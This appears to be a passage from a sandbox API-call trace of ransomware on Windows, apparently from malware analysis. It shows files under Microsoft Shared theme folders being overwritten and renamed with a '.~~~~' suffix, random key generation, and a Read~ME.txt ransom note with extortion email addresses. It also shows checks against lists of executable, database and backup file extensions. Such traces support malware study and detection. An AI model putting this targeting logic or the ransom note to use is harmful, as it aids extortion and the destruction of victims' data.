	[0083.684] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.684] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0083.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.684] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.684] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.684] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.684] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.684] CloseHandle (hObject=0x124) returned 1
	[0083.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.722] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.~~~~")) returned 1
	[0083.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0083.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.771] GetLastError () returned 0x0
	[0083.771] RtlWakeConditionVariable () returned 0x365f70
	[0083.771] GetCurrentThreadId () returned 0x9cc
	[0083.771] GetCurrentThreadId () returned 0x9cc
	[0083.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0083.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807df0 | out: hHeap=0x300000) returned 1
	[0083.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9420 | out: hHeap=0x300000) returned 1
	[0083.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807df0
	[0083.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.772] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.772] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.774] CloseHandle (hObject=0x11c) returned 1
	[0083.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807df0 | out: hHeap=0x300000) returned 1
	[0083.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0083.774] RtlWakeConditionVariable () returned 0x365f70
	[0083.774] GetCurrentThreadId () returned 0x9cc
	[0083.774] GetCurrentThreadId () returned 0x9cc
	[0083.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a46c0 | out: hHeap=0x300000) returned 1
	[0083.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9570 | out: hHeap=0x300000) returned 1
	[0083.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0083.774] lstrlenW (lpString=".scr") returned 4
	[0083.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".scr") returned 0x0
	[0083.774] lstrlenW (lpString=".cmd") returned 4
	[0083.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".cmd") returned 0x0
	[0083.774] lstrlenW (lpString=".dll") returned 4
	[0083.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".dll") returned 0x0
	[0083.774] lstrlenW (lpString=".bat") returned 4
	[0083.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".bat") returned 0x0
	[0083.774] lstrlenW (lpString=".cpl") returned 4
	[0083.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".cpl") returned 0x0
	[0083.775] lstrlenW (lpString=".sys") returned 4
	[0083.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".sys") returned 0x0
	[0083.775] lstrlenW (lpString=".msc") returned 4
	[0083.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".msc") returned 0x0
	[0083.775] lstrlenW (lpString=".com") returned 4
	[0083.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".com") returned 0x0
	[0083.775] lstrlenW (lpString=".lnk") returned 4
	[0083.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".lnk") returned 0x0
	[0083.775] lstrlenW (lpString=".msp") returned 4
	[0083.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".msp") returned 0x0
	[0083.775] lstrlenW (lpString=".pif") returned 4
	[0083.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".pif") returned 0x0
	[0083.775] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.777] lstrlenW (lpString=".sqb") returned 4
	[0083.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".sqb") returned 0x0
	[0083.777] lstrlenW (lpString=".ost") returned 4
	[0083.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".ost") returned 0x0
	[0083.777] lstrlenW (lpString=".txt") returned 4
	[0083.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".txt") returned 0x0
	[0083.777] lstrlenW (lpString=".mdt") returned 4
	[0083.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".mdt") returned 0x0
	[0083.777] lstrlenW (lpString=".BDB") returned 4
	[0083.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".BDB") returned 0x0
	[0083.777] lstrlenW (lpString=".eql") returned 4
	[0083.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".eql") returned 0x0
	[0083.777] lstrlenW (lpString=".DBF") returned 4
	[0083.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DBF") returned 0x0
	[0083.777] lstrlenW (lpString=".EQL") returned 4
	[0083.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".EQL") returned 0x0
	[0083.777] lstrlenW (lpString=".FDB") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".FDB") returned 0x0
	[0083.778] lstrlenW (lpString=".EDB") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".EDB") returned 0x0
	[0083.778] lstrlenW (lpString=".DACPAC") returned 7
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.778] lstrlenW (lpString=".VHD") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".VHD") returned 0x0
	[0083.778] lstrlenW (lpString=".DBV") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DBV") returned 0x0
	[0083.778] lstrlenW (lpString=".dacpac") returned 7
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".dacpac") returned 0x0
	[0083.778] lstrlenW (lpString=".sdf") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".sdf") returned 0x0
	[0083.778] lstrlenW (lpString=".accdb") returned 6
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".accdb") returned 0x0
	[0083.778] lstrlenW (lpString=".DBX") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DBX") returned 0x0
	[0083.778] lstrlenW (lpString=".MDT") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".MDT") returned 0x0
	[0083.778] lstrlenW (lpString=".SQB") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".SQB") returned 0x0
	[0083.778] lstrlenW (lpString=".vhd") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".vhd") returned 0x0
	[0083.778] lstrlenW (lpString=".bac") returned 4
	[0083.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".bac") returned 0x0
	[0083.778] lstrlenW (lpString=".mdf") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".mdf") returned 0x0
	[0083.779] lstrlenW (lpString=".BAK") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".BAK") returned 0x0
	[0083.779] lstrlenW (lpString=".BAC") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".BAC") returned 0x0
	[0083.779] lstrlenW (lpString=".dbs") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".dbs") returned 0x0
	[0083.779] lstrlenW (lpString=".vhdx") returned 5
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".vhdx") returned 0x0
	[0083.779] lstrlenW (lpString=".NDF") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".NDF") returned 0x0
	[0083.779] lstrlenW (lpString=".dat") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".dat") returned 0x0
	[0083.779] lstrlenW (lpString=".DBS") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DBS") returned 0x0
	[0083.779] lstrlenW (lpString=".CKP") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".CKP") returned 0x0
	[0083.779] lstrlenW (lpString=".edb") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".edb") returned 0x0
	[0083.779] lstrlenW (lpString=".PST") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".PST") returned 0x0
	[0083.779] lstrlenW (lpString=".dbf") returned 4
	[0083.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".dbf") returned 0x0
	[0083.779] lstrlenW (lpString=".SQL") returned 4
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".SQL") returned 0x0
	[0083.780] lstrlenW (lpString=".pst") returned 4
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".pst") returned 0x0
	[0083.780] lstrlenW (lpString=".dbv") returned 4
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".dbv") returned 0x0
	[0083.780] lstrlenW (lpString=".SDF") returned 4
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".SDF") returned 0x0
	[0083.780] lstrlenW (lpString=".dtxs") returned 5
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".dtxs") returned 0x0
	[0083.780] lstrlenW (lpString=".db3") returned 4
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".db3") returned 0x0
	[0083.780] lstrlenW (lpString=".OST") returned 4
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".OST") returned 0x0
	[0083.780] lstrlenW (lpString=".dbx") returned 4
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".dbx") returned 0x0
	[0083.780] lstrlenW (lpString=".DB3") returned 4
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DB3") returned 0x0
	[0083.780] lstrlenW (lpString=".DAT") returned 4
	[0083.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DAT") returned 0x0
	[0083.781] lstrlenW (lpString=".VHDX") returned 5
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".VHDX") returned 0x0
	[0083.781] lstrlenW (lpString=".ndf") returned 4
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".ndf") returned 0x0
	[0083.781] lstrlenW (lpString=".DB") returned 3
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DB") returned 0x0
	[0083.781] lstrlenW (lpString=".sql") returned 4
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".sql") returned 0x0
	[0083.781] lstrlenW (lpString=".MYD") returned 4
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".MYD") returned 0x0
	[0083.781] lstrlenW (lpString=".DBT") returned 4
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DBT") returned 0x0
	[0083.781] lstrlenW (lpString=".ACCDB") returned 6
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.781] lstrlenW (lpString=".fdb") returned 4
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".fdb") returned 0x0
	[0083.781] lstrlenW (lpString=".bak") returned 4
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".bak") returned 0x0
	[0083.781] lstrlenW (lpString=".myd") returned 4
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".myd") returned 0x0
	[0083.781] lstrlenW (lpString=".DTXS") returned 5
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".DTXS") returned 0x0
	[0083.781] lstrlenW (lpString=".ckp") returned 4
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".ckp") returned 0x0
	[0083.781] lstrlenW (lpString=".dbt") returned 4
	[0083.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".dbt") returned 0x0
	[0083.782] lstrlenW (lpString=".db") returned 3
	[0083.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".db") returned 0x0
	[0083.782] lstrlenW (lpString=".TXT") returned 4
	[0083.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".TXT") returned 0x0
	[0083.782] lstrlenW (lpString=".MDF") returned 4
	[0083.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".MDF") returned 0x0
	[0083.782] lstrlenW (lpString=".bdb") returned 4
	[0083.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".bdb") returned 0x0
	[0083.782] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.782] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.783] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.783] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.783] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20377341259) returned 1
	[0083.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9bc65350, dwHighDateTime=0x1d60e1e)) 
	[0083.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9570
	[0083.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9570 | out: hHeap=0x300000) returned 1
	[0083.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807b50
	[0083.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b50 | out: hHeap=0x300000) returned 1
	[0083.784] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.784] GetLastError () returned 0x0
	[0083.784] GetLastError () returned 0x0
	[0083.784] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.784] GetLastError () returned 0x0
	[0083.785] GetLastError () returned 0x0
	[0083.787] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff1e46, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.787] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xe1ba, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0xe1ba, lpOverlapped=0x0) returned 1
	[0083.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.788] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.788] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.788] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
